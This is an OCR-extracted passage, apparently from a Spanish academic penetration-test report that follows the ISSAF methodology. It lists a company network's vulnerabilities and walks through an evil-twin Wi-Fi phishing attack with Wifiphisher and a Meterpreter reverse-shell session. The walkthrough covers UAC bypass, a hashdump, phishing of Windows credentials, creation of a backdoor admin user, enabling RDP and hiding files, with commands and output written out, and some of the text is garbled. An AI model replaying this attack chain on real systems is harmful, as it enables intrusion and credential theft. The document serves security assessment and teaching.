a la red IP.Un atacante puede
inalambrica, explotar esto para enrutar
debido a la falta paquetes através del hosty
de posiblemente, evitar
administracion algunos  servidores de
para detectarlos seguridad como
o mitigarlos. enrutadores.
Grupo Posible Vulnerabilidad# V7 Activo Direccion IP
de Amenaza Amenazado
Activos
Equipos Se pueden EI host remoto tiene Ruteador 192.168.1.4
de Red aplicar ataques habilitado el reenvio de Inalambrico B
a la red IP.Un atacante puede
inalambrica, explotar esto para enrutar

debido a la falta
de
administracion
para detectarlos

o mitigarlos.

paquetes a través del hosty

posiblemente, evitar

algunos  servidores de
seguridad como
enrutadores.
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Grupo Posible Vulnerabilidad# V8 Activo Direccion IP
de Amenaza Amenazado
Activos
Equipos  Se pueden EI servidor DNS remoto Ruteador 192.168.1.5
de Red aplicar ataques responde a las consultas de Inalambrico C
a la red dominios de terceros que
inalambrica, no tienen establecido el bit
debido a la falta de  recursion. Siun
de atacante esté interesado en
administracion saber el nombre de la
para detectarlos compafiia, podria usar este
o mitigarlos. ataque para construir un
modelo estadistico sobre la
compaifiia. El ataque
también se puede usar para
encontrar, patrones de
navegacion web,
servidores de correo
externos y mas.
Grupo Posible Vulnerabilidad# V9 Activo Direccion IP
de Amenaza Amenazado
NSINVGS Sistema operativo Unix
Deteccidn de version no
compatible
Servidor Se utiliza la El sistema operativo Unix DATASERVE  192.168.1.10
de version de que se ejecuta en el host R
Almacen  Windows remoto ya no es compatible
amiento Server R2 2008, para realizar alguna
algunas evaluacion de seguridad.

vulnerabilidade
s son ataques

remotos,

La falta de soporte implica
gue el proveedor no lanzara
nuevos parches de

seguridad para el
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ataques de producto. Como resultado,
ransomware. es probable que contenga
vulnerabilidades de
seguridad criticas.
Grupo Posible Vulnerabilidad# V10 Activo Direccion IP
de Amenaza Amenazado
AT Actualizacion de
seguridad para Microsoft
Windows SMB Server
Servidor Se utiliza la Existe una vulnerabilidad DATASERVE 192.168.1.13
de version de de divulgacion de R
Almacen  Windows informacién en Microsoft
amiento Server R2 2008, Server Message Block 1.0
algunas (SMBv1) debido a un

vulnerabilidade
S son ataques
remotos,
ataques de

ransomware.

manejo inadecuado de
ciertas peticiones. Un
atacante remoto no

autenticado puede explotar
esto, a través de un
paguete especialmente

diseflado, para revelar
informacioén
confidencial. (CVE-2017-

0147)

ETERNALBLUE,
ETERNALCHAMPION,
ETERNALROMANCE y
ETERNALSYNERGY son
cuatro de las mdltiples
vulnerabilidades y
vulnerabilidades de
Equation Group reveladas
el 2017/04/14 por un grupo
conocido como Shadow
Brokers. WannaCry /
WannaCrypt es un

programa de ransomware
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que utiliza el
ETERNALBLUE, y

EternalRocks es un gusano

exploit

que utiliza siete
vulnerabilidades del Grupo
de ecuaciones. Petya es un
programa de ransomware
que primero utiliza CVE-
2017-0199,

vulnerabilidad en Microsoft

una

Office, y luego se propaga a
través de ETERNALBLUE.

Grupo Posible Vulnerabilidad# V11 Activo Direccién IP
de Amenaza Amenazado
Activos
Servidor Se utiliza la Existe una vulnerabilidad DATASERVE  192.168.1.13
de version de de cédigo remoto arbitrario R
Almacen  Windows en la implementacion del
amiento Server R2 2008, Protocolo de escritorio
algunas remoto (Remote

vulnerabilidade
S son ataques
remotos,
ataques de

ransomware.

Desktop Protocol) en el
host remoto de
Windows. La vulnerabilidad
se debe a la forma en que
RDP accede a un objeto en
la memoria que se ha
inicializado

incorrectamente o se ha
eliminado.

Si se ha habilitado RDP en

el sistema afectado, un

atacante remoto no
autenticado podria
aprovechar esta
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vulnerabilidad para hacer
que el sistema ejecute
cédigo arbitrario enviandole
una secuencia de paquetes

RDP especialmente

disefiados.
Grupo Posible Vulnerabilidad# V12 Activo Direccién IP
de Amenaza Amenazado
Activos
Equipos Se pueden Se ha probado el acceso al Switch 192.168.1.11
de Red aplicar ataques dispositivo de forma remota 1
a la red con credenciales  por
inalambrica, defecto, permitiendo su
debido a la falta acceso como
de administrador.
administracion
para detectarlos
0 mitigarlos.
Grupo Posible Vulnerabilidad# V13 Activo Direccion IP
de Amenaza Amenazado
Activos
Computa Actualizaciones Existen multiples Computadores 192.168.1.14
dores de Windows vulnerabilidades de 4
desactivadas, denegacién de servicio en
parches de Microsoft Server Message
seguridad Block 1.0 (SMBv1) debido a

desactualizados

Los usuarios
utilizan el perfil
de

administrador.

un manejo inadecuado de
las solicitudes. Un atacante
autenticado

remoto no

puede  explotar estas
vulnerabilidades, a través

de una soliciiud SAMBA
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especialmente  disefiada,
para hacer que el sistema
deje de responder. (CVE-
2017-0269, CVE-2017-
0273, CVE-2017-
0280) TERNALBLUE,
ETERNALCHAMPION,
ETERNALROMANCE y
ETERNALSYNERGY son
cuatro de las mdltiples
vulnerabilidades y
vulnerabilidades de
Equation Group reveladas
el 2017/04/14 por un grupo
conocido como Shadow
Brokers. WannaCry /
WannaCrypt es un
programa de ransomware
que utliza el exploit
ETERNALBLUE, y
EternalRocks es un gusano
que utiliza siete
vulnerabilidades del Grupo
de ecuaciones. Petya es un
programa de ransomware
que primero utiliza CVE-
2017-0199, una
vulnerabilidad en Microsoft
Office, y luego se propaga a
través de ETERNALBLUE.

Grupo Posible Vulnerabilidad# V14 Activo Direccion IP
de Amenaza Amenazado
Activos Desbordamiento de bufer
SAMBA.
Equipos  Se pueden Un usuario remoto puede Ruteador 192.168.1.10
de Red aplicar ataques suministrar un encabezado Restaurante 0

a

la

red

de autenticacion basica
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inalambrica,
debido a la falta
de
administracién

para detectarlos

HTTP

disefiado que contenga un

especialmente

caracter Base64 no valido
para desencadenar el

desbordamiento y ejecutar

0 mitigarlos. un codigo arbitrario en el
sistema de destino.
Grupo Posible Vulnerabilidad# V15 Activo Direccién IP
de Amenaza Amenazado
INSIVGE Vulnerabilidad de lectura
y escritura de archivos
arbitrarios no
autenticados del
ruteador.
Equipos Se pueden Se ejecuta una version Ruteador 192.168.1.10
de Red aplicar ataques vulnerable de escritura y Restaurante 0
a la red lectura de archivos
inalambrica, arbitrarios no
debido a la falta autenticados. Un atacante
de no autenticado podria
administracion aprovechar esta
para detectarlos vulnerabilidad para leer o
o mitigarlos. escribir archivos protegidos
en el host afectado.
Nessus pudo aprovechar
esta vulnerabilidad para
recuperar el almacén de
credenciales del
dispositivo.
Grupo Posible Vulnerabilidad# V16 Activo Direccion IP
de Amenaza Amenazado

Activos




81

Equipos  Se pueden EI servidor DNS remoto Ruteador 192.168.1.10
de Red aplicar ataques responde alas consultas de Restaurante 0
a la red dominios de terceros que
inalambrica, no tienen establecido el bit
debido a la falta de recursion. Siun
de atacante esta interesado en
administracion saber el nombre de la
para detectarlos compafiia, podria usar este
o mitigarlos. ataque para construir un
modelo estadistico sobre la
compafiia. El ataque
también se puede usar para
encontrar, patrones de
navegacion web,
servidores de correo
externos y mas.
Si este es un servidor DNS
interno que no es accesible
para las redes externas, los
ataques se limitarian a la
red interna. Esto puede
incluir empleados,
consultores 'y usuarios
potenciales en una red de
invitado o conexién WiFi si
es compatible.
Grupo Posible Vulnerabilidad# V17 Activo Direccion IP
de Amenaza Amenazado
Activos Deteccién del servidor
DNS
Equipos  Se pueden El servicio remoto, es un Ruteador 192.168.1.10
de Red aplicar ataques servidor de sistema de Restaurante 0
a la red nombres de dominio (DNS),
inalambrica, que proporciona  una
debido a la falta asignacién entre los

de
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administracion

para detectarlos

nombres de host y las

direcciones IP.

o mitigarlos.
Grupo Posible Vulnerabilidad# V18 Activo Direccién IP
de Amenaza Amenazado
AT Deteccion del servidor
DHCP
Equipos  Se pueden Esta secuencia de Ruteador 192.168.1.10
de Red aplicar ataques comandos contacta con el Restaurante 0

a la red
inalambrica,
debido a la falta
de
administracion
para detectarlos

o mitigarlos.

servidor DHCP remoto (si
existe) e intenta recuperar
informacidn sobre el disefio
de la red.
Algunos servidores DHCP
proporcionan informacion
confidencial, como el
nombre de dominio NIS, o
informacion de disefio de la
lista de

red, como la

servidores web de la red,

etc.
No demuestra ninguna
vulnerabilidad, pero un

atacante local puede usar
DHCP.
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3.3.2.1.2.4 Proceso 4: ISSAF - Penetracioén
‘ "

\Mapeo de la Red |

r Metodologia de Pruebas de
‘ Penetracion

(2) Evaluacion

“ Identificacion de

\Vulnerabilidades

.4

Figura. 48. Fase 2 — Metodologia de Pruebas de Penetracion (ISSAF) -
Penetracion.
Adaptado de ISSAF, 2008, p. 147

Acceso a la Red Inalambrica — Irrupcion Controlada

Wifiphisher permite realizar pruebas de penetracion a través de ataques a la
red inalambrica, este proceso utiliza el phishing web (suplantacion de paginas
web reales), la aplicacion de ingenieria social permite que el usuario ingrese sus
credenciales. Es una herramienta de cédigo abierto y considerada para realizar

pruebas de seguridad en entornos de redes inalambricas.

Probar la herramienta

Wifiphisher conlleva la utilizacién de dos antenas que funcionaran como:

e Un punto de acceso falso (TP-LINK).
e La otra se utiliza para des autenticar a los usuarios que se encuentren

en el punto de acceso real (Alfa Network).
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Como se aprecia en la Figura 49, estas dos antenas son conectadas
directamente al computador de pentest que utiliza la maquina virtual Kali Linux,
esta herramienta debe ser descargada de forma manual desde el repositorio de
GitHub y configurarla a través de linea de comandos.

Figura 49. Tarjetas de red.

Al inicializar la herramienta de wifiphisher ésta comienza a identificar los puntos
de acceso mas préximos, identifica nombres, direcciones MAC, tipo de seguridad
utilizado y el numero de clientes que actualmente estan conectados. En esta
ocasion la red que sera analizada es Oficina “2do Piso” como se muestra en la

Figura 48.

root@kali: ~/wifiphisher
File Edit View Search Terminal Help

p-OPEN

1a

laro A G AEDUARDO é 8 :bl: 1 8% W VPS A

Figura 50. Prueba de la herramienta de Wifiphisher.
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Utilizar la herramienta

La Figura 51 muestra 2 opciones las cuales permiten escoger el tipo de phishing
que se desea utilizar en este caso se ha optado por crear una pagina web de
actualizacion falsa (Firmware Upgrade Page).

root@kali: ~/wifiphisher

File Edit View Search Terminal Help
Options: [Up Arrow] Move Up [Down Arrow] Move Down

Available Phishing Scenarios:

P
A router configuration page without logos or brands asking for WPA/WPA2
firmware upgrade. Mobile-friendly.

3 - Browser Plugin Update
A generic browser plugin update page that can be used to serve payloads
victims.

Figura 51. Seleccion de la Prueba de Penetracion.

Seguidamente se analiza la conexion de aquellos clientes que fueron des
autenticados del punto de acceso real y los agrega al nuevo punto de acceso
falso como se muestra en la Figura 52. Esta pantalla recopila informacién que
envian los dispositivos victimas hacia el punto de acceso falso, se utilizaron

dispositivos méviles para esta prueba.
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root@kali: ~/wifiphisher

File Edit View Search Terminal Help

DEAUTH/DI
A /DI
DI

rom 10.0.0.33 for http://10.0.0.1/
t from 10.0.0.33 for http://clients3.google.com/generate_204

Figura 52. Area informativa, visualizacion de victimas y apropiacion de

informacion.

Resultados

Como se indica en la Figura 53, una vez que los dispositivos moviles se conectan
a la red inalambrica del punto de acceso falso aparece un sitio web con phishing
el cual solicita ingresar nuevamente la contrasefia del punto de acceso. Al

realizar dicho proceso aparece una supuesta pantalla de cargar.

< = 5% 43
N Fl¢s%R 13 13:35 alac s

O @ 10.0.0.1:50% yred o captive.apple.com
Oficina

< Iniciar sesion Cancelar

Firmware Upgrade In
Progress Firmware Upgrade In
Progress

The update is currently being uploaded to the
router. Please do not disconnect or turn off the
router while it's being updated

The update is currently being uploaded to the

router while it's being updated

AA AR SNN
[ ]
2016, All Rights Reserved 2016, All Rights Reserved.
B v Es o H X
ANDROID 10S

Figura 53. Capturas de Pantalla tomadas de los Smartphones victimas.
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Al ingresar la contrasefia del punto de acceso por parte de la victima, el atacante
obtiene las credenciales y por lo tanto ya puede tener acceso a la red de la

empresa a traves de la red inalambrica.

:~# cd wifiphisher/
~/wifiphisher# wifiphisher
Starting Wifiphisher 1.4GIT ( https://wifiphisher.org ) at 2018-11-19 13:29
Timezone detected. Setting channel range to 1-13
Selecting interface for the deauthentication attack
Selecting interface for creating the rogue Access Point
Changing wlanlmon MAC addr (BSSID) to 00:00:00:f3:fb:0f
Changing wlanlmon MAC addr (BSSID) to 00:00:00:9f:55:97
Sending SIGKILL to wpa supplicant
Sending SIGKILL to dhclient
Sending SIGKILL to NetworkManager
Cleared leases, started DHCP, set up iptables
Selecting Firmware Upgrade Page template
Starting the fake access point...
Starting HTTP/HTTPS server at ports 8080, 443
Show your support!
Follow us: https://twitter.com/wifiphisher
Like us: https://www.facebook.com/Wifiphisher
Captured credentials:
hshr-wpa-password=56105230

Figura 54. Captura de credenciales desde la herramienta de wifiphisher.

3.3.2.1.2.5 Proceso 5: ISSAF - Obtener y Escalar Privilegios

a2 —

_\ Metodologia de Pruebas de

(2) Evaluacién Penetracion [1dentificacion de

G

Figura. 55. Fase 2 — Metodologia de Pruebas de Penetracion (ISSAF) —
Obtener y Escalar Privilegios.
Adaptado de ISSAF, 2008, p. 147
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Esta etapa continua cuando el hacker ha corrompido un archivo ejecutable del

computador de un empleado y al ejecutarlo ocurre lo siguiente.

@ Ejecutar como administrador

Open with Sublime Text

Solucionar problemas de compatibilidad

Anclar a Inicio
4 Edit with Notepad++

Analizar con Windows Defender...

Compartir

Dar acceso a
] a Afadir al archivo...

g Afadir a "pruebal.rar”

< E Anadir y enviar por email...

Q Afadir a "pruebal.rar” y enviar por email

Anclar a la barra de tareas

Restaurar versiones anteriores
Enviar a

Cortar

Copiar

Crear acceso directo

Eliminar

Cambiar nombre

Propiedades

pruebal

Figura 56. Ejecucion de archivo infectado.

Se crea una conexion de TCP inversa a través de un ejecutable .exe que ha sido

generado a través de metasploit. Como se muestra en la Figura 54, se debe

configurar primero el puerto de escucha con la finalidad de capturar la sesion del

usuario en el computador infectado.

1. Se llama primero al manejador de carga genérico (use multi’/handler).

2. Se carga la herramienta en este caso una conexiéon TCP inversa. (set

payload Windows/meterpreter/reverse_tcp).

3. Setea el host atacante para este caso es la direccion IP (set LHOST
192.168.100.11).
4. Setea el puerto de escucha. (set LPORT 4444).
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5. Finalmente ejecutarlo (run).

root@kali: ~
File Edit View Search Terminal Help

msf > use multi/handler

msf exploit( ) > set payload windows/meterpreter/revers
e tcp 2

payload => windows/meterpreter/reverse tcp

msf exploit( ) > set LHOST 192.168.100.11

LHOST => 192.168.100.11

msf exploit( ) > set LPORT 4444

LPORT => 4444

msf exploit( ) > run

Started reverse TCP handler on 192.168.100.11:4444

Sending stage (179779 bytes) to 192.168.100.12

Meterpreter session 1 opened (192.168.100.11:4444 -> 192.168.10
9.12:50036) at 2018-11-21 22:31:40 -0500

meterpreter > getsystem
priv elevate getsystem: Operation failed: The environment is in
correct. The following was attempted:
Named Pipe Impersonation (In Memory/Admin)
Named Pipe Impersonation (Dropper/Admin)
Token Duplication (In Memory/Admin)
meterpreter > background
| Backgrounding session 1...
msf exploit( ) > run

Figura 57. Configuracion de puerto de escucha para el atacante.
Se ha configurado el puerto de escucha y esta listo para capturar sesiones.
Escalar Privilegios

Una vez capturada la sesion se abre una nueva consola de meterpreter la cual
a través de comandos obtiene el nombre de la maquina, es el comando (getuid),
representada en la Figura 55.

Cabe recalcar que ciertos comandos no funcionan por ahora, como se muestra
en la Figura 54 y 55, debido a que el archivo fue ejecutado por un usuario con
bajos privilegios. El funcionamiento de ciertos comandos son invalidos para ello
se procede a escalar entre privilegios hasta obtener los mismos que un

administrador.
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File Edit View Search Terminal Help

Started reverse TCP handler on 192.168.100.11:4444
Sending stage (179779 bytes) to 192.168.100.12
Meterpreter session 2 opened (192.168.100.11:4444 -> 192.168.100.12:50056) at 2018-11-21 22:33:06 -0500

meterpreter Priy
KTOP-RIQV3FS\WEB
leterpreter > Load mimikatz
Loading extension mimikatz...[!] Loaded x86 Mimikatz on an x64 architecture.

[!] Loaded Mimikatz on a newer 0S (Windows 10 (Build 17134).). Did you mean to 'load kiwi' instead?
guccess.
meterpreter > mimikatz command -f sekurlsa::logonPasswords
OpenProcess : (0x00000005) Acceso denegado.
DonnBes LSASS en erreur
meterpreter > getsystem
priv_elevate getsystem: Operation failed: The environment is incorrect. The following was attempted:
Named Pipe Impersonation (In Memory/Admin)
Named Pipe Impersonation (Dropper/Admin)
B A ‘o

ms xploit( ) > use exploit/windows/local/bypassuac comhijack
msf exploit( ) > set SESSION 2

Figura 58. Meterpreter en Escucha y capturado una sesion.

En la Figura 58, se utiliza el comando (background) para cambiar de sesion sin

cerrar la conexidén que actualmente mantiene el atacante con la victima.

1. Se utiliza un médulo de vulnerabilidad conocido como Combhijack, el cual
permite omitir el control de acceso del usuario, utilizando el comando
(Windows/local/bypassuac_comhijack) y seteandolo para que pase a otra
sesion (set SESSION 2).

2. De igual forma se trabaja con una conexién TCP inversa aplicando el
comando (set payload Windows/x64/meterpreter/reverse_tcp).

3. Setear el host atacante para este caso es la direccion IP (set LHOST
192.168.100.11).

4. Setear el puerto de escucha. (set LPORT 4444).

Finalmente ejecutarlo (run).



root@kali: ~

File Edit View Search Terminal Help
I exploit( ) > use explolt/windows/local/bypassuac comhljack

msf exploi
LPORT

Started reverse TCP handler on 192.168.100.11:4444

UAC is Enabled, checking level...

Part of Administrators group! Continuing...

UAC 1 et to Default

BypassUAC can bypass this setting, continuing..

Targeting Computer Managment via HKCU\Software\Classes\CLSID\{OA29FF9E-7F9C-4437-8B11-F424491E3931} ...
Uploa g payload to \Us \WEB\AppData\Local\Temp\nUHHmmVQ.d1ll ...

Executing high integrity process ...

Sending stage (206403 bytes) to 192.168.100.12

Meterpreter session 3 opened (192.168.100.11:4444 -> 192.168.100.12:50064) at 2018-11-21 22:44:07 -0500
Deleted C:\Users\WEB\AppData\Local\Temp\nUHHmmVQ.dll

Cleaining up registry

Figura 59. Escalando privilegios.
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Al utilizar el comando (sysinfo) como se muestra en la Figura 57, se puede

observar el nombre de usuario que actualmente utiliza el atacante, al utilizar el

comando (getuid) indica que se ha escalado y ahora el nuevo privilegio obtenido

es NT AUTHORITY (Privilegio - SUPER ADMINISTRADOR).

root@kali: ~

File Edit View Search Terminal Help
Deleted C:\Users\WEB\AppData\Local\Temp\nUHHmmVQ.dll
Cleaining up re LTy a6

meterpreter > sysinfo
: DESKTOP-RIQV3FS
: Windows 10 (Build 17134).
Architecture : x64
System Language es EC
Domain WORKGROUP
Logged On Users 2
Meterpreter
> getuld
1ame: DESKTOP-RIQV3FS\WEB

z
Z...[!] Loaded Mimikatz on a newer 0S (Windows 10 (Build 17134).). Did you mean to 'loa

435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0cO89¢O: : :
DefaultAccount: :aad3b435b51404eeaad3b435b51404¢ee:31d6cfe0d16ae931b73¢c59d7e0cO89cO

Figura 60. Privilegios obtenidos a partir de la herramienta comhijack.

En la Figura 61, se observa que se puede utilizar el Shell de Windows o CMD

ejecutandose a través de SYSTEMS32 o privilegios de administrador por lo que

se tiene actualmente acceso total al computador.



root@kali: ~

File Edit View Search Terminal Help

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > load mimikatz

Loading extension mimikatz...[!] Loaded Mimikatz on a newer 0S (Windows 10 (Build 17134).). Did you mean to 'loa
d kiwi' instead?

success.

meterpreter > hashdump
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢O
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089¢O:
defaultuser0:1000:aad3b435b51404eeaad3b435b51404ee:e06f5a91ec05c7596b3f920ced1832fb
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0c089cO
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a9769790e47a7b15¢c3b6d5
WEB:1001:aad3b435b51404eeaad3b435b51404ee:31d6¢cfe0d16ae931b73¢c59d7e0c089¢O: : :
fleterpreter > she

Process 5156 created.
Channel 2 created.
Microsoft Windows [Versi®n 10.0.17134.345]

c) 2018 Microsoft Corporation. Todos los derechos reservados.

C:\WINDOWS\system32>net users
net users

Figura 61. Acceso al CMD de Windows con privilegios de administrador.

3.3.2.1.2.6 Proceso 6: ISSAF - Enumerar Accesos

)

Obtener
Cubrir Huellas

Metodologia de Pruebas de
‘ Penetracion

(2) Evaluacion

on ']e‘

(
\Vulnerabilidac

Penetracion

Enumerar acces(

| 7
\" ' \. privilegios

N

Figura. 62. Fase 2 — Metodologia de Pruebas de Penetracion (ISSAF) —
Enumerar Accesos.
Adaptado de ISSAF, 2008, p. 147
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Obtener Contrasefias

La persistencia ayuda al atacante a obtener nuevamente acceso a la maquina
victima, para ello se tratara de obtener las credenciales de usuario a través del
phishing el cual muestra una ventana amigable que permite generar la confianza
del usuario victima. Para realizar este proceso es necesario tener una sesion

activa.

1. Se utiliza un nuevo moédulo a través del comando
(windows/gather/phish_windows_credentials).

2. Ejecutarlo a través de exploit.

root@kali: ~

File Edit View Search Terminal Help

Starting the popup script. Waiting on the user to fill in his credentials...
[+] #< CLIXML

Post interrupted by the console user
Post module execution completed
msf post( ) > exploit

Figura 63. Phishing credenciales de Windows.

Si la herramienta se ejecutd de forma correcta, en el computador victima
solicitard nuevamente ingresar sus credenciales con las que inicia sesion en

Windows.

Windows Security
=
L‘ )

| \
Please enter user credentials

Usuario: |@ peskToP-RIQU3FS\WEB |

Cownsst:  [sesened] |

conct

Figura 64. Ventana creada con el objetivo de aplicar phishing.
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Una vez el cliente acepta, el atacante obtiene las credenciales del computador.

root@kali: ~

File Edit View Search Terminal Help
Starting the p script. Waiting on the user to fill in his cre
#< CLIXML

Post interrupted by the nsole user
module execution pleted
post( ) > exploit

rShell is installed.
arting the popup script. Waiting on the user to fill in his credentia
CLIXML

UserName Domain Password

DESKTOP-RIQV3FS 56105230

bj S="progres
<164 N="Sourceld
; L primer uso.</AV><AI>0</AI><Nil <PI> / >-1</PC><T>Complete
></PR MS></0bj><S S="E Invoke-History
do como un bloque de script 000D x000A ninguna entrada
t sin entrad X000D x00OA </S><S S="Error L 8¢ 21 Caricte 3 xeeep d } x
006D x000A S S="Error ~ - - X000A </S5><S r : MetadataErro
r (:) [Invoke-History], rameterBindingEx xX000A $><S "> + FullyQualifiedErrorId : Scri loc
kArgumentNoInput,Microsoft.PowerShell.Commands.InvokeHistoryCommand x000D x000A </5><S S="Error"> x000D x000A </ /0b
)s>
Post module execution completed
msf post(

Figura 65. Apropiacion de las credenciales del usuario.
PRUEBA B: Acceso al Ruteador Principal

Los resultados arrojados en el proceso 3 (Vulnerabilidad # 2) permiten explotar
una vulnerabilidad asociada en el puerto 8291 del ruteador principal, se
obtuvieron las contrasefias de administrador permitiendo acceder al panel de

administracion.

2

w
n

w

Puerto Hospedadores

8291 /tcp 192.168.1.1

Figura 66. Apropiacion de las credenciales del usuario.
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A través de cualquier navegador y digitando la direccion IP del ruteador principal,
aparece el sitio para ingresar el usuario y contrasefia que se ha obtenido en la
figura 63.

A No es seguro | 192.168.1.1

Router v6.28

You have connected to a router. Administrative access only. If this device is not in your possession, please contact your local network administrator.

WebFig Login:

Login: || J | Login

Password:

4m 4

Telnet Graphs  License Help

Figura 67. Apropiacion de las credenciales del usuario.

La figura 65 representa el menu de configuracion del ruteador principal, por lo
tanto, el atacante tiene acceso total para manipular y visualizar

configuraciones de toda la red de la empresa.

<« C A Noesseguro | 192.168.1.1/webfig/#Quick Set | <: % 6
SIS =] WekFig v6.29
Ethernet Quick Set|

T Wireless
| Interfaces

3£ Bridge <=
=2 Switch Configuration

2 prP

13 Mesh

gl 1p v
ARP

Accounting

Mode ® Router () Bridge

Internet

Address Acquisition ® Static Automatic PPPOE

Addresses IP Address
Cloud

DHCP Client
DHCP Relay

Netmask

Gateway
DHCP Server

DNS

- a
Firewall v | I -
DNS Servers —_—
-
-

Hotspot

Ipsec
Neighbors

Packing MAC Address !

Pool
5 Local Network
outes

SMB 1P Address 192.168.1.1

SNMP

Netmask [255.255 2550 (24) ~
Services

Settings Bridge All LAN Ports
Socks
TFTP DHCP Server @

Figura 68. Acceso al Ruteador Principal de la Empresa utilizando una
vulnerabilidad.



96

Nota: A parte del ruteador principal, también se cuenta con otro ruteador en este
caso dirigido para la administracion del restaurante, cuenta con iguales
caracteristicas que el principal por lo que presenta la misma vulnerabilidad en el
puerto 8291, a este equipo se lo identificé con la direccion 192.168.1.100
(Vulnerabilidad # 15).

3.3.2.1.2.7 Proceso 7: ISSAF - Comprometer usuarios Remotos —

Persistencia

O

Mapeo de la Red |

_\ Metodologia de Pruebas de
| Penetracion [Identificacién

Vulnerabilidades

(2) Evaluacion

[

de

4

Figura. 69. Fase 2 — Metodologia de Pruebas de Penetracion (ISSAF) —
Comprometer usuarios y sitios remotos.
Adaptado de ISSAF, 2008, p. 147

La persistencia también es conocida por mantener una puerta trasera abierta,
esto se lo puede realizar a través de un virus o una vulnerabilidad, etc. Sin
embargo, para esta ocasion se ha optado por utilizar el acceso remoto a través

de un nuevo usuario creado a partir de linea de comandos.

En la Figura 70, se puede observar que actualmente se cuenta con dos usuarios

en el computador victima.
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root@kali: ~

File Edit View Search Terminal Help

C:\WINDOWS\system32>net users Linea de comandos
net users v g =

Cuentas de usuario de \\

2 usuarios

Figura 70. Visualizacion de los usuarios actuales del computador.

Utilizando la linea de comandos se crea un nuevo usuario y contrasefia a través

del comando (net user /add hacker hack5610).

C:\WINDOWS\system32>net user /add hacker hack5610
net user /add hacker hack5610

Se ha completado el comando correctamente.

Figura 71. Creacion de un nuevo usuario a partir del CMD de Windows usando

Meterpreter.

3.3.2.1.2.8 Proceso 8: ISSAF - Mantener el Acceso

T

Obtener

Informacion

Mapeo de la Red |

[

Metodologia de Pruebas de ‘
| Penetracion [1dentificacion de

(2) Evaluacion

\Vulnerabilidades

N4

Figura. 72. Fase 2 — Metodologia de Pruebas de Penetracion (ISSAF) —
Mantener el Acceso.
Adaptado de ISSAF, 2008, p. 147
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Se crea un nuevo usuario con privilegios de administrador, el cual sea capaz de
activar el control remoto a través del registro de Windows. Se identifican los
grupos y se afiade al nuevo usuario a través del comando (net localgroup

Administradores hacker /add) como se muestra en la figura 73.

root@kali: ~
File Edit View Search Terminal Help

s hacker /add

32>net localgroup "Usuarios de escritorio remoto" hacker /add

! os de escritorio remoto" hacker /add
Se ha completado el comando correctamente.

000 (Predeterminado por el equipo)
s6
Nunca

Ultimo cambio de contrase@a 21/11/2018 22:58:20

Figura 73. Registro y adicion al grupo de administradores al nuevo usuario.

Seguidamente en la misma linea de comandos se coloca lo siguiente: (reg add
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v
fDenyTSConnections /t REG_DWORD /d 0 /f) esto permite activar la opcién para

asistencia remota como se muestra en la Figura 71.

r B Panel de control Sistema y seguridad Sistema

Propiedades del sistema X
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" plo}

il Nombre del equipo Hardware

Opciones avanzadas Proteccién del sistema Remoto
dmi ¢ R
Asistencia remota

onfi
emo! [] Permitir conexiones de Asistencia remota a este equipo hos reservados.
'rote| 42 Aaiate 2
onfi|
isten

Opciones avanzadas. 1-6700HQ CPU @ 2.60GHz 2.59 GHz (2 procesadores)

Escritorio remoto
N de 64 bits, procesador x64

Haz clic en una opcién y especifica quién puede conectarse.
Mmanuscrita no esta disponible para esta pantalla

T T rp——— e
"\ gjo del equipo
@ Permiti las conexiones remotas a este equipo
[#] Pemitir solo las conexiones desde equipos que ejecuten Escritorio
remoto con Auts 16n a nivel de red (re d
Ayudame 3 eleg Seleccionar usuarios

Id. del producto: 00331-10000-00001-AA204

Figura 74. Habilitar la conexion remota al equipo a traves del CMD.



3.3.2.1.2.9 Proceso 9: ISSAF - Cubrir Huellas

G

’ Cubrir Huellas "
\ int
% )
oot :!-Iapa; de la Red
acceso /
» y At Metodologia de Pruebas de ‘
(2) Evaluacion s s ) Penetracion [Identificacién de
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\Vulnerabilidades

Figura. 75. Fase 2 — Metodologia de Pruebas de Penetracion (ISSAF) — Cubrir

Huellas.
Adaptado de ISSAF, 2008, p. 147

Ocultar archivos es un punto que se lo toma en cuenta durante y después de

haber realizado las pruebas de penetracion, todo esto con

el objetivo de

mantener un canal trasero, a continuacién, se realiza una prueba para ocultar

archivos en el sistema operativo Windows especificamente la carpeta donde se

encuentra el archivo infectado. La figura 76 describe los comandos que son

utilizados para ejecutar tal procedimiento.

S— - .
Process 1372 created.
Channel 2 created.

Microsoft Windows [Versi®n 10.0.17134.407]

(c) 2018 Microsoft Corporation. Todos los derechos reservados

C:\Users\WEB\Desktop>attrib +s +h "C:\Users\WEB\Desktop\Prueba"

attrib +s +h "C:\Users\WEB\Desktop\Prueba"

C:\Users\WEB\Desktop>[]

Figura 76. Ocultar carpetas donde se alojan archivos maliciosos.
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En la Figura 77 se muestran dos capturas de pantalla, la primera hace referencia
al escritorio de Windows la cual no muestra que este visible la carpeta Prueba,
mientras que la segunda pantalla permite probar que existe la carpeta pero que

se encuentra oculta para el usuario.

Pantalla 1 Pantalla 2

sa=I8=a
»

™

Figura 77. Verificacion de la carpeta oculta en el escritorio.

3.3.2.1.3 Fase 3: ISSAF - Resultados y Reportes Finales

[ (1) Planificacién y Preparacion J

G Metodologia de Pruebas de |
(2) Evaluacion e Penetracién identfica

[[ (3) Reportes, limpieza y destruccion de Artefactos } ]

Figura. 78. Fase 3 — Metodologia de Pruebas de Penetracion (ISSAF) —
Reportes.
Adaptado de ISSAF, 2008, p. 147
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La dltima fase de la metodologia de pruebas de penetracion ISSAF permite
realizar la presentacion a manera de resumen de las actividades y resultados
obtenidos en los procesos 4, 5, 6, 7 y 8 a través de tablas, estas contienen la

siguiente informacion:

e Nombre de la Prueba

e Resumen de Prueba

e Alcance de Prueba

e Herramientas Utilizadas

e Fechas de Aplicacion de Pruebas
e Resultado de la Prueba

e Vulnerabilidades ldentificadas

e Solucion de las Vulnerabilidades Identificadas

El apartado de Resultado de Prueba se puede identificar el nivel de acceso y
